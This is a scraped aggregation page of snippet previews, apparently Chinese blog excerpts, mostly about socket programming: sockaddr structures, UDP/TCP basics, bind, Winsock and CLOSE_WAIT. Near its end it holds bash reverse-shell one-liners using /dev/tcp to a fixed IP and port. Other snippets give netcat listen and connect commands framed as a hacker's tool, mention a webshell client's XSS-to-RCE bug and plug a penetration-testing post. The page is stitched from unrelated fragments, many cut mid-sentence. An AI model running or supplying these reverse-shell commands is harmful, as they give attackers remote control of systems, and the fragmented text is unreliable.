Socket(套接字) ◆先看定义: typedef unsigned int u_int; typedef u_int SOCKET; ◆Socket相当于进行网络通信两端的插座,只要对方的Socket和自己的Socket有通信联接,双方就可以发送和接收数据了。其定义类似于文件句柄的定义。 ◆Socket有五种不同的类型: 1、流式套接字(stream socket) 定义: #define SOCK_STREAM 1 流式套接字提供了双向、有序的、无重复的以及无记录边界的数据流服务,适合处理
代码编译运行平台:Linux 64bits+g++(-m64),-m64表示生成64bits的程序。
一些相对高性能的单片机会带以太网接口,网口在MCU里算是比较复杂的外设了,因为它涉及到网络协议栈,通常情况下网络协议栈会运行在一个RTOS中,所以对普通单片机开发者来说网口使用起来相对难度较大一些。在Linux下网口是一个经常使用的接口,由于Linux具备成熟完备的网络通信协议栈,底层驱动厂家也都提供好了,所以使用起来相对方便的多。本篇对Linux下网口使用做个简单总结,希望对大家有所帮助。
在网络编程中,UDP运用非常广泛。很多网络协议是基于UDP来实现的,如SNMP等。大家常常用到的局域网文件传输软件飞鸽传书也是基于UDP实现的。
在linux环境下,结构体struct sockaddr在/usr/include/linux/socket.h中定义,具体如下: typedef unsigned short sa_family_t; struct sockaddr { sa_family_t sa_family; /* address family, AF_xxx */ char sa_data[14]; /* 14 bytes of protocol address */ 在linux环境下,结构体struct sockaddr_in在/usr/include/netinet/in.h中定义,具体如下: /* Structure describing an Internet socket address. */ struct sockaddr_in { __SOCKADDR_COMMON (sin_); in_port_t sin_port; /* Port number. */ struct in_addr sin_addr; /* Internet address. */ /* Pad to size of `struct sockaddr'. */ unsigned char sin_zero[sizeof (struct sockaddr) - __SOCKADDR_COMMON_SIZE - sizeof (in_port_t) - sizeof (struct in_addr)]; /* 字符数组sin_zero[8]的存在是为了保证结构体struct sockaddr_in的大小和结构体struct sockaddr的大小相等 */ }; struct sockaddr是通用的套接字地址,而struct sockaddr_in则是internet环境下套接字的地址形式,二者长度一样,都是16个字节。二者是并列结构,指向sockaddr_in结构的指针也可以指向sockaddr。一般情况下,需要把sockaddr_in结构强制转换成sockaddr结构再传入系统调用函数中。 下面是struct sockaddr_in中用到两个数据类型,具体定义如下: /* Type to represent a port. */ typedef uint16_t in_port_t; struct in_addr其实就是32位IP地址 struct in_addr { unsigned long s_addr; }; BSD网络软件中包含了两个函数,用来在二进制地址格式和点分十进制字符串格式之间相互转换,但是这两个函数仅仅支持IPv4。 in_addr_t inet_addr(const char *cp); char *inet_ntoa(struct in_addr in); 功能相似的两个函数同时支持IPv4和IPv6 const char *inet_ntop(int domain, const void *addr, char *str, socklen_t size); int inet_pton(int domain, const char *str, void *addr); 通常的用法是: int sockfd; struct sockaddr_in my_addr; sockfd = socket(AF_INET, SOCK_STREAM, 0); my_addr.sin_family = AF_INET; /* 主机字节序 */ my_addr.sin_port = htons(MYPORT); /* short, 网络字节序 */ my_addr.sin_addr.s_addr = inet_addr("192.168.0.1"); bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */ //memset(&my_addr.sin_zero, 0, 8); bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr));
UDP(user datagram protocol)用户数据报协议,属于传输层。
但我要定义个消息结构体msg_t,它封装了sockaddr_in和sin_size;
连接远程主机:nc (-nvv) {ip} {port} 监听本地端口:nc -l -p {port} 持续监听端口:nc -L -l -p {port}
sockaddr和sockaddr_in包含的数据都是一样的,但他们在使用上有区别: 程序员不应操作sockaddr,sockaddr是给操作系统用的 程序员应使用sockaddr_in来表示地址,sockaddr_in区分了地址和端口,使用更方便。 一般的用法为: 程序员把类型、ip地址、端口填充sockaddr_in结构体,然后强制转换成sockaddr,作为参数传递给系统调用函数
过五一准备休息两天,正好有朋友要来西安,我也能在西安周边转转,毕竟在这上大学居然还没有好好逛过。所以放假之前的一个晚上我发篇文章。
创建的socket如果需要被使用,就需要调用bind函数把socket和socket地址绑定。
Socket模块简单理解就是对socket套接字的封装,当然不是简单的对socket套接字接口的封装,还需要实现一些方法,比如启动非阻塞通信、创建客户端连接、创建服务器连接等。
很多socket编程的初学者可能会遇到这样的问题:如果先ctrl+c结束服务器端程序的话,再次启动服务器就会出现Address already in use这个错误,或者你的程序在正常关闭服务器端socket后还是有这个问题。正如下面的这段简单的socket程序。 server.c #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <netinet/in.h> #include <arpa/i
socket起源于Unix,而Unix/Linux基本哲学之一就是“一切皆文件”,都可以用“打开open –> 读写write/read –> 关闭close”模式来操作。Socket就是该模式的一个实现, socket即是一种特殊的文件,一些socket函数就是对其进行的操作(读/写IO、打开、关闭)。 说白了Socket是应用层与TCP/IP协议族通信的中间软件抽象层,它是一组接口。在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在Socket接口后面,对用户来说,一组简单的接口就是全部,让Socket去组织数据,以符合指定的协议。 注意: 其实socket也没有层的概念,它只是一个facade设计模式的应用,让编程变的更简单。是一个软件抽象层。在网络编程中,我们大量用的都是通过socket实现的。
概念 socket又称“套接字”,socket在应用层和传输层之间,我们的应用层只要将数据传递给socket就可以了,socket会传递给传输层、网络层等。 网络通信其实就是Socket之间的通信。
在前面的文件中,我们介绍了linux网络编程中与IP相关的知识和常用的函数总结,本文针对具体的UDP通信,来详细的介绍UDP通信的使用,包括UDP通信中的点对点通信,多播,广播等。
Socket soket接口是TCP/IP网络的API。网络的socket数据传输是一种特别的I/O,socket也是一种文档描述符。利用socket()函数打开,返回一个整型的socket描述符,然后建立连接,数据传输等等。常用的socket类型有:流式socket(SOCK_STREAM)、数据报socket(SOCK_DGRAM). 其中流式socket是采用面向连接的TCP服务,而数据报socket则是无连接的UDP服务 Socket建立 调用: int socket(int domai
4月12日凌晨,有用户在中国蚁剑GitHub上提交了issue,称发现中国蚁剑存在XSS漏洞,借此可引起RCE。据悉,该漏洞是因为在webshell远程连接失败时,中国蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。
int ret; srtuct sockaddr_in from; ret=revcfrom(sock,recvbuf,BUFSIZErecvfrom函数用于从(已连接)套接口上接收数据,并捕获数据发送源的地址。 本函数用于从(已连接)套接口上接收数据,并捕获数据发送源的地址。 对于SOCK_STREAM类型的套接口,最多可接收缓冲区大小个数据。
本文介绍了网络的一些基础概念,主要包括:IP和端口号、TCP/UDP协议、网络字节流以及套接字接口。
前两年, 就买了《TCP/IP网络编程》这本书, 由于自身基础薄弱, 只是走马观花翻阅了几张。
系列目录 windows完成端口(一) windows完成端口(二) windows完成端口(三) windows完成端口(四) windows完成端口(五) windows完成端口(六) // 最后释放掉所有资源 void CIOCPModel::_DeInitialize() { // 删除客户端列表的互斥量 DeleteCriticalSection(&m_csContextList); // 关闭系统退出事件句柄 RELEASE_HANDL
1. 前 言 网络的Socket数据传输是一种特殊的I/O,Socket也是一种文件描述符。Socket也具有一个类似于打开文件的函数调用Socket(),该函数返回一个整型的Socket描述符,随后的连接建立、数据传输等操作都是通过该Socket实现的。
渗透的很多时候,在网上找到的工具并不适用,自己写代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的红黑联盟,短小使用,求欣赏,求好评。
学完C语言做不出东西?不存在的,咱们做一个最“隐私”的聊天器,就俩人,你和我。咱们聊天的信息你知我知没别人知。 没学过C语言的,觉得难的看这里:https://blog.csdn.net/a757291228/category_11468001.html
暂时想不出什么好的应用场景, 目前想到目标就是实现让两个设备通过网络传输数据, 比如开发板和Linux主机之间传数据, 以后就可以实现开发板通过网络上报数据或者主机通过网络控制开发板。
在当今数字化时代,网络通信作为连接世界的桥梁,成为计算机科学领域中至关重要的一部分。理解网络编程是每一位程序员必备的技能之一,而掌握套接字编程则是深入了解网络通信的关键。本博客将深入讨论套接字编程中的基本概念、常见API以及实际应用,通过一步步的学习,帮助读者逐渐掌握网络编程的精髓。
说到 web 服务器想必大多数人首先想到的协议是 http,那么 http 之下则是 tcp,本篇文章将通过 tcp 来实现一个简单的 web 服务器。
既然是基于 tcp 实现 web 服务器,很多学习 C 语言的小伙伴可能会很快的想到套接字 socket。socket 是一个较为抽象的通信进程,或者说是主机与主机进行信息交互的一种抽象。socket 可以将数据流送入网络中,也可以接收数据流。
1 socket函数 跨平台 2 Windows socket API 以WSA开头的一组由Win32提供的一组API 3 MFC Socket MFC对socket封装 CSocket类 面向连接(两端建立连接,进行传递数据) 无连接(数据两端不用建立连接,就可以传递数据) IP协议- IPv4,IPv6 IP协议之上 TCP协议 – 面向连接(采用网络连接方式,可靠网络收发) http|ftp|telet UDP协议 – 无连接(采用数据报的方式收发,不可靠网络收发) winsock2.h//头文件 ws2_32.dll//动态库 ws2_32.lib//lib
原创作品,转载时请务必以超链接形式标明文章原始出处:http://blog.csdn.net/gqb666/article/details/8976263,作者:gqb666
在Linux后端服务网络通信开发中,可能会遇到CLOSE_WAIT的状况。引起TCP CLOSE_WAIT状态的情况很多,归根结底还是由于被动关闭的一方没有关闭socket链路导致的。这篇文章主要是通过用一个简单的例子通过TCPDUMP和Wireshark这两个工具来模拟产生CLOSE_WAIT的情况,下一篇主要是对这个问题的原理解释。
假设一个这样的场景,客户端要利用send()函数发送字符“asd”到服务端,连续发送3次,但是服务端休眠10秒之后再去缓冲池中接收。那么请问10秒之后服务端从缓冲区接收到的信息是“asd”还是“asdasdasd”呢?如果大家有去做实验的话,可以知道服务端收到的是“asdasdasd”,为什么会这样呢?按正常的话,服务端收到的应该是“asd”,剩下的两个asd要不就是收不到要不就是下次循环收到,怎么会一次性收到“asdasdasd”呢?如果要说罪魁祸首的话就是那个休眠10秒,导致数据粘包了!
TCP/IP(Transmission Control Protocol/Internet Protocol)即传输控制协议/网间协议,是一个工业标准的协议集,它是为广域网(WANs)设计的。
首先要学习网络编程最基础的就是要理解TCP/IP协议,可以去网上找找类似文章理解一下。
socket(套接字)是网络编程编程的一种技巧。通过socket不仅可以实现跨进程通信,还可以实现跨主机的网络通信。使用这种技术,就可以实现全国各地的通讯。例如:深圳的一台电脑接收来自北京一台电脑发来的信息。 本篇不涉及太底层的网络原理,仅说明socket的基本使用方法。主要参考《Linux网络编程》。本篇源码获取方式见文底小字。
出现一项技术,首先我们弄懂一下,为什么要出现。那么为什么要出现socket这玩意呢?可以很简单的用一句话来概括:
这三个知识点,很重要,原因有三条:(1) 面试中经常被问到。尤其是面试高级工程师,架构师的时候。(2) 一切高并发框架的基础技术支撑。Nginx,Redis,kafka等框架都立足于这些基 础技术。(3)select、poll、epoll代表着一种数据结构,代表着一种算法思想,应该好好的去学 习,去体会。其实很多人对数据结构和算法不了解,投入力度不大,觉得工作中用不到, 其实,其实这个观点要纠正一下。
Winsock是Windows操作系统上的套接字API,用于在网络上进行数据通信。套接字通信是一种允许应用程序在计算机网络上进行实时数据交换的技术。通过使用Windows提供的API,应用程序可以创建一个套接字来进行数据通信。这个套接字可以绑定到一个端口,以允许其他应用程序连接它。另外,Winsock可以使用TCP/IP、UDP等协议来完成不同类型的数据传输任务。在网络应用程序开发中,套接字通信可以帮助应用程序开发者实现客户端/服务端模型,并实现数据的可靠传输。
Socket中文意思是"插座",在Linux环境下,用于表示进程间网络通信的特殊文件类型。本质为内核借助缓冲区形成的伪文件。
全称——Transmission Control Protocol / Internet Protocol
一个简单的Windows Socket可复用框架 说起网络编程,无非是建立连接,发送数据,接收数据,关闭连接。曾经学习网络编程的时候用Java写了一些小的聊天程序,Java对网络接口函数的封装还是很简单实用的,但是在Windows下网络编程使用的Socket就显得稍微有点繁琐。这里介绍一个自己封装的一个简单的基于Windows Socket的一个框架代码,主要目的是为了方便使用Windows Socket进行编程时的代码复用,闲话少说,上代码。 熟悉Windows Socket的都知道进行Windows网络
在socket网络编程中,如果此时客户端忽然由于某种原因断开连接或者崩溃,服务端没有处理好,便会同时崩溃掉,本篇文章将会从崩溃到问题分析,解决,一步步入手。
https://www.cnblogs.com/Dukefish/p/9197830.html
Socket通信原理 对TCP/IP、UDP、Socket编程这些词你不会很陌生吧?随着网络技术的发展,这些词充斥着我们的耳朵。那么我想问:
netcat 黑客们的瑞士军刀,虽然小巧但是其功能一点也不弱,并且该工具天生免杀,值得你去尝试。
在linux中,一切都是文件,所有文件都有一个int类型的编号,称为文件描述符。服务端和客户端通信本质是在各自机器上创建一个文件,称为socket(套接字),然后对该socket文件进行读写。
Bash $ bash -i >& /dev/tcp/192.168.68.206/2333 0>&1 $ exec 196<>/dev/tcp/192.168.68.206/2333; sh <&196 >&196 2>&196 $ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | while read line; do $line 2>&5 >&5;done $ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | wh
领取专属 10元无门槛券
手把手带您无忧上云